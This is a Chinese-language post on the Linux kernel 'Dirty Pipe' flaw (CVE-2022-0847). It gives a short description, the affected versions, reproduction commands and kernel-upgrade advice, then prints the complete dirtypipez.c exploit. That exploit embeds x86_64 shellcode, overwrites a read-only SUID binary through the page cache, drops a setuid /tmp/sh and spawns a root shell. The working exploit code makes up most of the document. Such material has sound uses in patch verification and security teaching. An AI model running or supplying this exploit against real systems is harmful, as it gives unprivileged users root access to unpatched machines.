1、漏洞描述

CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在於 Linux核心 5.8 及之後版本中的本地提權漏洞。攻擊者通過利用此漏洞，可覆蓋重寫任意可讀檔案中的資料，從而可將普通許可權的使用者提升到特權 root。CVE-2022-0847 的漏洞原理類似於 CVE-2016-5195 髒牛漏洞（Dirty Cow），但它更容易被利用。漏洞作者將此漏洞命名為“Dirty Pipe”

Linux核心中的函式 copy_page_to_iter_pipe 和 push_pipe 沒有對新的pipe_buffer 結構體的flags成員初始化。此時的值就是原來 pipe_buffer結構體中的flags成員值。所以一個普通許可權使用者可以利用這個漏洞向一個只讀檔案寫入任意內容。

2、影響版本

Linux核心 5.8 及之後版本

3、復現

find / -user root -perm 4000 2>/dev/null
gcc dirty-pipe.c -o dirtypipe
./dirtypipe /usr/bin/newgrp

4、修復建議

Linux 5.16.11、5.15.25 和 5.10.102等核心版本已修復該漏洞，可通過升級核心進行修復，升級現有linux核心版本。

5、exp

// https://haxx.in/posts/pwning-tipc/
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <[email protected]> // 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
  /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
  0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
  0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
  0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
  0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
  0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
  0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
  0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
  0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
  0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
  0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
  0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
  0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
  0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
  0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
  if (pipe(p)) abort();

  const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
  static char buffer[4096];

  /* fill the pipe completely; each pipe_buffer will now have
     the PIPE_BUF_FLAG_CAN_MERGE flag */
  for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    write(p[1], buffer, n);
    r -= n;
  }

  /* drain the pipe, freeing all pipe_buffer instances (but
     leaving the flags initialized) */
  for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    read(p[0], buffer, n);
    r -= n;
  }

  /* the pipe is now empty, and if somebody adds a new
     pipe_buffer without initializing its "flags", the buffer
     will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
  /* open the input file and validate the specified offset */
  const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
  if (fd < 0) {
    perror("open failed");
    return -1;
  }

  struct stat st;
  if (fstat(fd, &st)) {
    perror("stat failed");
    return -1;
  }

  /* create the pipe with all flags initialized with
     PIPE_BUF_FLAG_CAN_MERGE */
  int p[2];
  prepare_pipe(p);

  /* splice one byte from before the specified offset into the
     pipe; this will add a reference to the page cache, but
     since copy_page_to_iter_pipe() does not initialize the
     "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  --offset;
  ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
  if (nbytes < 0) {
    perror("splice failed");
    return -1;
  }
  if (nbytes == 0) {
    fprintf(stderr, "short splice\n");
    return -1;
  }

  /* the following write will not create a new pipe_buffer, but
     will instead write into the page cache, because of the
     PIPE_BUF_FLAG_CAN_MERGE flag */
  nbytes = write(p[1], data, len);
  if (nbytes < 0) {
    perror("write failed");
    return -1;
  }
  if ((size_t)nbytes < len) {
    fprintf(stderr, "short write\n");
    return -1;
  }

  close(fd);

  return 0;
}

int main(int argc, char **argv) {
  if (argc != 2) {
    fprintf(stderr, "Usage: %s SUID\n", argv[0]);
    return EXIT_FAILURE;
  }

  char *path = argv[1];
  uint8_t *data = elfcode;

  int fd = open(path, O_RDONLY);
  uint8_t *orig_bytes = malloc(sizeof(elfcode));
  lseek(fd, 1, SEEK_SET);
  read(fd, orig_bytes, sizeof(elfcode));
  close(fd);

  printf("[+] hijacking suid binary..\n");
  if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
    printf("[~] failed\n");
    return EXIT_FAILURE;
  }

  printf("[+] dropping suid shell..\n");
  system(path);

  printf("[+] restoring suid binary..\n");
  if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
    printf("[~] failed\n");
    return EXIT_FAILURE;
  }

  printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
  system("/tmp/sh");

  return EXIT_SUCCESS;
}
 

by zwish 2022/3/9 21:51